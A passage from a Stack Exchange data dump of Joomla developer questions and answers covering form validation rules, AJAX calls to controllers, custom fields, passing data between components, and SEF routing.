is?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The component's name is correct, the file name, class name, path...everything seems to be okay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I input letters instead of a number and submit the form, no error is displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My form in the &lt;code&gt;default.php&lt;/code&gt; file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_my_component&amp;amp;view=my_view&amp;amp;id='.$this-&amp;gt;myItemId['id']); ?&amp;gt;&quot;&#xA;    method=&quot;post&quot; name=&quot;adminForm&quot; id=&quot;adminForm&quot; class=&quot;form-validate&quot;&amp;gt;&#xA;       &amp;lt;fieldset name=&quot;details&quot;&amp;gt;&#xA;         &amp;lt;legend&amp;gt;Details&amp;lt;/legend&amp;gt;&#xA;         &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderFieldset('details');  ?&amp;gt;&#xA;       &amp;lt;/fieldset&amp;gt;       &#xA;       &amp;lt;button type=&quot;button&quot; class=&quot;btn btn-primary&quot; onclick=&quot;Joomla.submitbutton('send.submit')&quot;&amp;gt;Send&amp;lt;/button&amp;gt; &#xA;&#xA;    &amp;lt;?php echo JHtml::_('form.token'); ?&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My XML form &lt;code&gt;myform.xml&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;form name=&quot;adminForm&quot; addrulepath=&quot;components/com_mycomponent/models/rules&quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&quot;details&quot; &#xA;           &amp;lt;field&#xA;             name=&quot;day&quot; &#xA;             type=&quot;text&quot;&#xA;             validate=&quot;myrule&quot;&#xA;            /&amp;gt; &#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My &lt;code&gt;myrule.php&lt;/code&gt; file in &lt;code&gt;components/com_mycomponent/models/rules&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class JFormRuleMyRule extends JFormRule&#xA;{&#xA;    protected $regex = '[0-9]';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My controller &lt;code&gt;send.php&lt;/code&gt; with the &lt;code&gt;getModel()&lt;/code&gt; overrided&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class GalleryControllerSend extends JControllerForm&#xA;{   &#xA;    public function getModel($name = 'Gallery', $prefix = 'GalleryModel', $config = array('ignore_request' =&amp;gt; true))&#xA;    {&#xA;        return parent::getModel($name, $prefix, $config);&#xA;    }&#xA;&#xA;    public function submit($key = null, $urlVar = null)&#xA;    {   &#xA;&#xA;        $this-&amp;gt;checkToken();       &#xA;        $input=JFactory::getApplication()-&amp;gt;input;&#xA;        $data  = $input-&amp;gt;get('jform', array(), 'array');&#xA;        $model = $this-&amp;gt;getModel();  // get a handle on your model&#xA;        $form = $model-&amp;gt;getForm($data, false);  // use the model to build the form  &#xA;        $validData = $model-&amp;gt;validate($form, $data);  // performs the validation&#xA;        $errors = $model-&amp;gt;getErrors();  // gets a list of the validation errors &#xA;        $app-&amp;gt;enqueueMessage($errors[$i]-&amp;gt;getMessage(), 'warning');  // output the error messages   &#xA;     }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;gives me &lt;code&gt;0 - Call to a member function getForm() on bool&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Call to a member function getForm() on bool&#xA;  [root]\components\com_gallery\controllers\send.php:35&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="14118" LastEditorUserId="14118" LastEditDate="2020-04-11T15:58:04.757" LastActivityDate="2020-04-11T15:58:04.757" Title="Cannot extend my custom component's validation rules -- does not validate" Tags="|joomla-3.x|custom-component|form|validation|class-extensions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27922" PostTypeId="2" ParentId="27921" CreationDate="2020-04-09T20:57:16.500" Score="2" Body="&lt;p&gt;Just do&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;addrulepath=&quot;components/com_mycomponent/models/rules&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and leave out the &lt;code&gt;/myrule.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I presume you're terminating the &lt;code&gt;&amp;lt;field  .../&amp;gt;&lt;/code&gt; ok in the XML and adding &lt;code&gt;&amp;lt;?php&lt;/code&gt; at the start of the rule file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like your submit button on the form is resulting in task=&quot;com_mycomponent.submit&quot; being sent in the HTTP POST request, and is thus running the &lt;code&gt;submit()&lt;/code&gt; method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually Joomla uses a &lt;code&gt;Save&lt;/code&gt; button, which sets task=&quot;com_xxx.save&quot;, which will result in the &lt;code&gt;save()&lt;/code&gt; method being run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This method is available in &lt;code&gt;JControllerForm&lt;/code&gt; and usually covers what you need to do to handle the HTTP POST.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it's instructive to get this working by yourself in your submit function, but you have to add some extra lines. The relevant lines from &lt;code&gt;JControllerForm::save&lt;/code&gt; which you want to incorporate are&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = $this-&amp;gt;input-&amp;gt;post-&amp;gt;get('jform', array(), 'array');  // just change your variable from $form to $data, to follow convention&#xA;&#xA;$model = $this-&amp;gt;getModel();  // get a handle on your model&#xA;&#xA;$form = $model-&amp;gt;getForm($data, false);  // use the model to build the form&#xA;&#xA;$validData = $model-&amp;gt;validate($form, $data);  // performs the validation&#xA;&#xA;$errors = $model-&amp;gt;getErrors();  // gets a list of the validation errors&#xA;&#xA;$app-&amp;gt;enqueueMessage($errors[$i]-&amp;gt;getMessage(), 'warning');  // output the error messages&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By the way, you might find &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_verifications&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_verifications&lt;/a&gt; useful as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your model override try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getModel($name = 'Gallery', $prefix = 'GalleryModel', $config = array('ignore_request' =&amp;gt; true))&#xA;{&#xA;    return parent::getModel($name, $prefix, $config);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11650" LastEditorUserId="11650" LastEditDate="2020-04-10T19:22:52.617" LastActivityDate="2020-04-10T19:22:52.617" CommentCount="13" ContentLicense="CC BY-SA 4.0" />
  <row Id="27925" PostTypeId="1" CreationDate="2020-04-10T15:33:43.743" Score="1" ViewCount="393" Body="&lt;p&gt;For some reason i need tu use &lt;strong&gt;articles custom fields&lt;/strong&gt; in index.php file template, i try this code without success :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;This after defined('_JEXEC') or die('Restricted access');&#xA;JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');&#xA;JModelLegacy::addIncludePath(JPATH_SITE.'/components/com_content/models', 'ContentModel');&#xA;&#xA;$id = JFactory::getApplication()-&amp;gt;input-&amp;gt;get('id');&#xA;&#xA;$model =&amp;amp; JModelLegacy::getInstance('Article', 'ContentModel', array('ignore_request'=&amp;gt;true));&#xA;$appParams = JFactory::getApplication()-&amp;gt;getParams();&#xA;$model-&amp;gt;setState('params', $appParams);&#xA;$item =&amp;amp; $model-&amp;gt;getItem($id);&#xA;$jcFields = FieldsHelper::getFields('com_content.article',  $item, True);&#xA;&#xA;&amp;lt;?php if (!empty(($this-&amp;gt;item-&amp;gt;jcfields[5]-&amp;gt;value))) {&#xA;   echo &quot; background&quot;;&#xA;} ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13940" LastEditorUserId="13940" LastEditDate="2020-04-10T15:55:44.723" LastActivityDate="2024-01-22T18:06:10.713" Title="Use custom fields in index.php template file" Tags="|php|custom-field|com-content|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="27926" PostTypeId="2" ParentId="27925" CreationDate="2020-04-10T15:35:56.650" Score="0" Body="&lt;p&gt;I debug your code and your &lt;code&gt;$jcFields = FieldsHelper::getFields('com_content.article',  $item, True);&lt;/code&gt; is an empty array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;however, your &lt;code&gt;$item =&amp;amp; $model-&amp;gt;getItem($id)&lt;/code&gt; shows all the items of the article so the problem lies in &lt;code&gt;$jcFields = FieldsHelper::getFields('com_content.article',  $item, True);&lt;/code&gt; but i don't know exactly why. I have tried several solutions but no success. Perhaps we could wait for someone with more experience to give us a better solution.&lt;/p&gt;&#xA;" OwnerUserId="14118" LastEditorUserId="14118" LastEditDate="2020-04-10T18:38:53.453" LastActivityDate="2020-04-10T18:38:53.453" CommentCount="16" ContentLicense="CC BY-SA 4.0" />
  <row Id="27927" PostTypeId="1" CreationDate="2020-04-11T20:45:33.680" Score="0" ViewCount="138" Body="&lt;p&gt;I know there are a few questions regarding how to submit forms with AJAX but i could not figure out how to do it in my case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should it be something like this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $(&quot;#adminForm&quot; ).submit(function( event ) {&#xA;    Joomla.submitform(''document.getElementById('adminForm'));&#xA;  });&#xA; $.ajax({&#xA;   type: &quot;POST&quot;,&#xA;   url: 'index.php?option=com_gallery&amp;amp;format=ajax&amp;amp;view=gallery&amp;amp;task=submit&amp;amp;tmpl=component'&#xA;   data: {&#xA;       form: jQuery(form).serializeArray()&#xA;   },&#xA;   success: function(response){&#xA;    var res= jQuery.parseJSON(res);&#xA;&#xA;    if ( res.Res == 1 ) {                       &#xA;      console.log(&quot;ok&quot;);&#xA;    }&#xA;    else {               &#xA;&#xA;        console.log(&quot;error&quot;);         &#xA;    }               &#xA;   }    &#xA;   dataType: 'html'&#xA; });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;&quot; method=&quot;post&quot; name=&quot;adminForm&quot; id=&quot;adminForm&quot; class=&quot;form-validate&quot;&amp;gt;&#xA;       &amp;lt;fieldset name=&quot;details&quot;&amp;gt;&#xA;         &amp;lt;legend&amp;gt;Details&amp;lt;/legend&amp;gt;&#xA;         &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderFieldset('details');  ?&amp;gt;&#xA;       &amp;lt;/fieldset&amp;gt;       &#xA;       &amp;lt;button type=&quot;button&quot; class=&quot;btn btn-primary&quot; onclick=&quot;Joomla.submitbutton('send.submit')&quot;&amp;gt;Send&amp;lt;/button&amp;gt; &#xA;&#xA;    &amp;lt;?php echo JHtml::_('form.token'); ?&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question is: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i submit form via AJAX using the &lt;code&gt;Joomla.submitbutton()&lt;/code&gt; function (or any other function such as &lt;code&gt;Joomla.submitform()&lt;/code&gt;)&#xA;  and what is the best practice for it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably i have to remove &lt;code&gt;&amp;lt;button type=&quot;button&quot; class=&quot;btn btn-primary&quot; onclick=&quot;Joomla.submitbutton('send.submit')&quot;&amp;gt;Send&amp;lt;/button&amp;gt;&lt;/code&gt; but changes have to be made in the AJAX call.&#xA;i don't know how to do it as my form uses &lt;code&gt;Joomla.submitbutton()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would i have to add the form id and also the &lt;code&gt;Joomla.submitbutton&lt;/code&gt; or &lt;code&gt;Joomla.submitform&lt;/code&gt; function to the AJAX call? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should i add the controller name to the url too in the AJAX call?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;index.php?option=com_gallery&amp;amp;format=ajax&amp;amp;view=gallery&amp;amp;task=send.submit&amp;amp;tmpl=component&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="14118" LastEditorUserId="14118" LastEditDate="2020-04-11T20:55:18.367" LastActivityDate="2020-04-11T20:55:18.367" Title="Submit an XML form via AJAX using Joomla.submitbutton/form" Tags="|joomla-3.x|ajax|form|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="27928" PostTypeId="1" AcceptedAnswerId="27929" CreationDate="2020-04-12T17:10:39.443" Score="0" ViewCount="677" Body="&lt;p&gt;I am trying to make an AJAX Request to my function in my controller and it works, however, it returns me the whole page which i don't want. I have tried encoding it with &lt;code&gt;json&lt;/code&gt; but no success i also have tried different formats in the url such as &lt;code&gt;format=raw&lt;/code&gt;, &lt;code&gt;format=ajax&lt;/code&gt; and &lt;code&gt;format=json&lt;/code&gt; none of them worked and both &#xA;&lt;code&gt;format=raw&lt;/code&gt; and &lt;code&gt;format=json&lt;/code&gt; gave me a 404 error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what i am trying to do, is a request to a function in my controller that should return me &quot;ok&quot; but, instead of returning &quot;ok&quot;, it gives me the whole HTML. I surely am missing something, i just don't know what it is. I have tried changing the URL parameter, &lt;code&gt;dataType&lt;/code&gt; but still same result. Plus, i have seen some examples wihout the controller name in the url parameter; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;example:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;url: index.php?option=com_gallery&amp;amp;task=submit&lt;/code&gt; but it didn't work out for me nor did this:&#xA;&lt;code&gt;url: index.php?option=com_gallery&amp;amp;controller=send&amp;amp;task=submit&lt;/code&gt;; this is the only thing that has worked out for me: &lt;code&gt;index.php?option=com_gallery&amp;amp;task=send.submit&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clarifications about these url parameters when it comes to AJAX requests to the controller and its methods?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My ajax request:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$.ajax(&#xA;    {   url: 'index.php?option=com_gallery&amp;amp;task=send.submit',    &#xA;        method: 'POST',&#xA;        dataType: 'text',       &#xA;        success: function(data){&#xA;            alert(data);&#xA;        },      &#xA;        error:function(){&#xA;            alert(&quot;error&quot;);&#xA;        },&#xA;&#xA;        });&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My controller &lt;code&gt;send.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_EXEC') or die ('Restricted access');&#xA;&#xA;&#xA;class GalleryControllerSend extends JControllerForm&#xA;{&#xA;&#xA;&#xA;      public function submit($key=null, $urlVar=null)&#xA;      {&#xA;         echo &quot;ok&quot;;        &#xA;      }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What should i do to display just the &quot;ok&quot; in the function &lt;code&gt;submit()&lt;/code&gt; ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing that has worked out was adding &lt;code&gt;format=html&lt;/code&gt; to the url parameter and adding &lt;code&gt;exit();&lt;/code&gt; below the &lt;code&gt;echo &quot;ok&quot;&lt;/code&gt; but i believe that's not the best way to do it.&lt;/p&gt;&#xA;" OwnerUserId="14118" LastEditorUserId="14118" LastEditDate="2020-04-12T17:24:50.073" LastActivityDate="2021-03-13T13:39:09.847" Title="Ajax Request returning the whole page not a specifc value" Tags="|joomla-3.x|url|ajax|controller|json|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27929" PostTypeId="2" ParentId="27928" CreationDate="2020-04-12T18:06:16.697" Score="1" Body="&lt;p&gt;What you should do is include &lt;code&gt;&amp;amp;format=json&lt;/code&gt; in your URL. This tells Joomla that you want a JSON response rather than HTML, and it won't run (subsequently) your template to produce all your page HTML. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The usual approach is to call &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;parent::display() &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in your controller code (ie in submit()). This will cause Joomla to look for a &lt;code&gt;display()&lt;/code&gt; function in a &lt;code&gt;view.json.php&lt;/code&gt; file with the same class name as in your &lt;code&gt;view.html.php&lt;/code&gt; file. There you should be able to do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo new JResponseJson('ok');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The JResponseJson class will look after stopping the application at that point as there's no need to continue on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For an example view.json.php file see &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_AJAX#site.2Fviews.2Fhelloworld.2Fview.json.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_AJAX#site.2Fviews.2Fhelloworld.2Fview.json.php&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest you omit the datatype - jQuery will be able to figure it out. &lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-04-12T18:06:16.697" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="27930" PostTypeId="1" CreationDate="2020-04-12T20:44:47.780" Score="1" ViewCount="852" Body="&lt;p&gt;I created a form using ConvertForm extension for guests to submit information (name, age, ...etc) into my Joomla database.&#xA;Is there a way to display the information the guests submitted to another page on the website? (retrieving data from the database and putting it in an article or something on front-end)&#xA;Can this be done through an extension or should I learn PHP to be able to do it?&lt;/p&gt;&#xA;" OwnerUserId="14193" LastActivityDate="2020-04-14T07:47:46.203" Title="Retrieve data from database to front-end" Tags="|extensions|jdatabase|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="27932" PostTypeId="2" ParentId="22283" CreationDate="2020-04-14T00:43:09.357" Score="0" Body="&lt;p&gt;I could imagine it to be done by creating a search plugin that reads out the desired custom fields and their values and performs a filter query instead of a search on the listed content. This is just a thought though, I haven't checked the search plugin code to be sure.&lt;/p&gt;&#xA;" OwnerUserId="14209" LastActivityDate="2020-04-14T00:43:09.357" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="27933" PostTypeId="1" AcceptedAnswerId="27934" CreationDate="2020-04-14T03:52:01.267" Score="0" ViewCount="176" Body="&lt;p&gt;My intended application is to provide a list of products in a simple Joomla list/table display with check boxes where the end user can click on one or more items, press the print button and the data behind those items is collected and passed to another Joomla component to manage the printing of the labels for those products selected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is planned to be multiple components(Component X) wanting to print various labels so I want to keep the printing side of things separate in its own component(Component P) and not embedded in each component, making it plug-able so I can replace it later on if a better solution becomes available.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Component X I have the controller processing the selected items, calling the model to get extra information for those products and creating a data-set that is in JSON format, but will consider other options. After this processing occurs I plan to trigger a Plugin and pass the JSON file to the plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin will do a few checks and then call Component P, the print manager component, that will essentially display a Form with a couple of buttons and the data from Component X in a field or object, at least in some form that I can access it. There will be other controllers and helpers behind this form to find printers and layout templates etc. to do the actual printing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is where I need help, I can't think of a way or find any suitable examples of how to get the data from Component X that is in my Plugin across to a view or model in Component P. Can anyone suggest some possible approaches I might be able to research?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have considered putting the data to a SQL table to pass between the components but then it creates further issues with multiple requests happening at the same time, cleaning up afterwards and the fields used are not always going to be the same. Therefore I am reluctant to use a table if it can be avoided.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2020-04-17T00:59:14.890" LastActivityDate="2020-04-17T00:59:14.890" Title="How to pass a JSON file from a Plugin to a Component?" Tags="|joomla-3.x|plugin|json|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27934" PostTypeId="2" ParentId="27933" CreationDate="2020-04-14T07:37:59.793" Score="2" Body="&lt;p&gt;I think you probably want to use the session - see &lt;a href=&quot;https://docs.joomla.org/How_to_use_user_state_variables&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/How_to_use_user_state_variables&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Store the data in a session variable, then do a redirect to your component P, and then P retrieves them from the session data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't forget to clear the relevant session data after you've finished with it.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-04-14T07:37:59.793" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="27935" PostTypeId="2" ParentId="27930" CreationDate="2020-04-14T07:47:46.203" Score="1" Body="&lt;p&gt;Yes there is a way (&lt;em&gt;or two&lt;/em&gt;):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you want to use an extensión, you can try with  &lt;a href=&quot;https://extensions.joomla.org/extension/core-enhancements/data-reports/db-embed-pro/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;DB Embed Pro&lt;/strong&gt;&lt;/a&gt; &lt;br/&gt;This allows you to insert data in your articles as you mention.&lt;/li&gt;&#xA;&lt;li&gt;You also can do this by &lt;a href=&quot;https://docs.joomla.org/Selecting_data_using_JDatabase&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Selecting data using JDatabase&lt;/strong&gt;&lt;/a&gt;&lt;br/&gt;&#xA;In this way, you can show you data in any part of your site, for example you can add the code in &lt;strong&gt;index.php&lt;/strong&gt; file in your template, or in some override or in your custom module, etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here you have more info:&#xA;&lt;a href=&quot;https://docs.joomla.org/Accessing_the_database_using_JDatabase&quot; rel=&quot;nofollow noreferrer&quot;&gt;Accessing the database using JDatabase&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2020-04-14T07:47:46.203" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="27936" PostTypeId="2" ParentId="26361" CreationDate="2020-04-14T08:05:30.947" Score="0" Body="&lt;p&gt;Please follow this simple steps:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In your articles, you can see a tab called &lt;strong&gt;&quot;Images and Links&quot;&lt;/strong&gt;&lt;br/&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XvlBW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XvlBW.png&quot; alt=&quot;Images &amp;amp; Links Tab&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you can add an &lt;strong&gt;Intro Image&lt;/strong&gt;, for example a 200px * 200px jpg. These will be the images like in your screenshot. The &lt;strong&gt;Full Article image&lt;/strong&gt; is the image you see when you open the article.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In the Content Tab, you only need to select the text you want to show in the blog view and add a &lt;strong&gt;&quot;Read More&quot;&lt;/strong&gt; to hide the rest of the content from this view.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2020-04-14T08:05:30.947" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27937" PostTypeId="2" ParentId="26464" CreationDate="2020-04-14T08:24:20.033" Score="1" Body="&lt;p&gt;By default it is not possible, the structure of your menu sets the structure of your URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some users enable the Plugin called &lt;strong&gt;System - Redirect&lt;/strong&gt; and create some redirections in the Component wich is also called &lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/Help39:Components_Redirect_Manager&quot; rel=&quot;nofollow noreferrer&quot;&gt;Redirects&lt;/a&gt;&lt;/strong&gt;, from something like:&lt;br/&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;website.com/category/subcayegory/article&lt;/em&gt;&lt;/strong&gt; to &lt;strong&gt;&lt;em&gt;website.com/article&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But yes, this is a manual process one by one URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way to solve this is create just one main category, one main menu for your content,  but for the categories you can use a feature called &lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/Help39:Components_Tags_Manager_Options&quot; rel=&quot;nofollow noreferrer&quot;&gt;tags&lt;/a&gt;&lt;/strong&gt; to group your content.&lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2020-04-14T08:24:20.033" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27938" PostTypeId="1" CreationDate="2020-04-14T12:03:58.957" Score="0" ViewCount="196" Body="&lt;p&gt;I'm wondering how i can create a User Area for users to login and gain access to a user panel  (where user can update their info and specfic/custom actions). Because the Joomla user login functionality actually doesn't do much (as far as i know, if someone can make more clarifications on how this works...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean i don't think Joomla can provide what i need so i have to create a new MVC for that, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So my question is:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The correct way to do it should be creating/extending a component using MVC (with login view, panel view, etc)?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If so, can i take advantage of the Joomla user login system using the same username and password previously set by the user or i should create a new table for users to signup/login?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Or is there any other way to get it done? And what are the best practices for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in short, what i want is: a user logs in then has access to an exclusive and customizable user area. Is this possible by, somewhow, extending the core's Joomla login/registration system or i have to create a new MVC (in a custom component) for that? If so, should i create a new table or use Joomla's users table?&lt;/p&gt;&#xA;" OwnerUserId="14118" LastEditorUserId="14118" LastEditDate="2020-04-15T11:38:49.960" LastActivityDate="2020-04-15T11:38:49.960" Title="Create a User Area" Tags="|joomla-3.x|user|login|mvc|best-practices|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="27939" PostTypeId="1" CreationDate="2020-04-14T20:13:48.453" Score="0" ViewCount="78" Body="&lt;p&gt;Was able to create a custom component and a custom view which I went ahead and attached a js library to.&#xA;Now to achieve my desired functionality I need to create a custom url(SEF) in my route.php file, and attach a custom view to that route, then I can dynamically display content with url paramns, eg for ?id=1 view show &lt;h1&gt;ID = 1&lt;/h1&gt;. What way should I go ahead to defining a custom url and attaching a view to that page?&lt;/p&gt;&#xA;" OwnerUserId="14214" LastActivityDate="2023-12-26T02:08:20.967" Title="SEF url and custom view" Tags="|joomla-3.x|custom-component|view|jroute|router|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="27940" PostTypeId="2" ParentId="27939" CreationDate="2020-04-14T20:41:46.757" Score="0" Body="&lt;p&gt;Hi Nicholas and welcome! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to develop a custom router for your component. Have a look at &lt;a href=&quot;https://docs.joomla.org/J3.x:Supporting_SEF_URLs_in_your_component&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Supporting_SEF_URLs_in_your_component&lt;/a&gt; and the worked example in the MVC tutorial at &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_an_alias#Router_2&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_an_alias#Router_2&lt;/a&gt; - that should be enough to get you going all the right lines. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually the ?id=1 in the URL gets replaced by something like /myitem in the SEF format, where &quot;myitem&quot; is the value you set in the alias field of your record with id=1. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might then want to add an alias field in the record structure of your component, hence following that step in the MVC tutorial should be helpful. &lt;/p&gt;&#xA;" 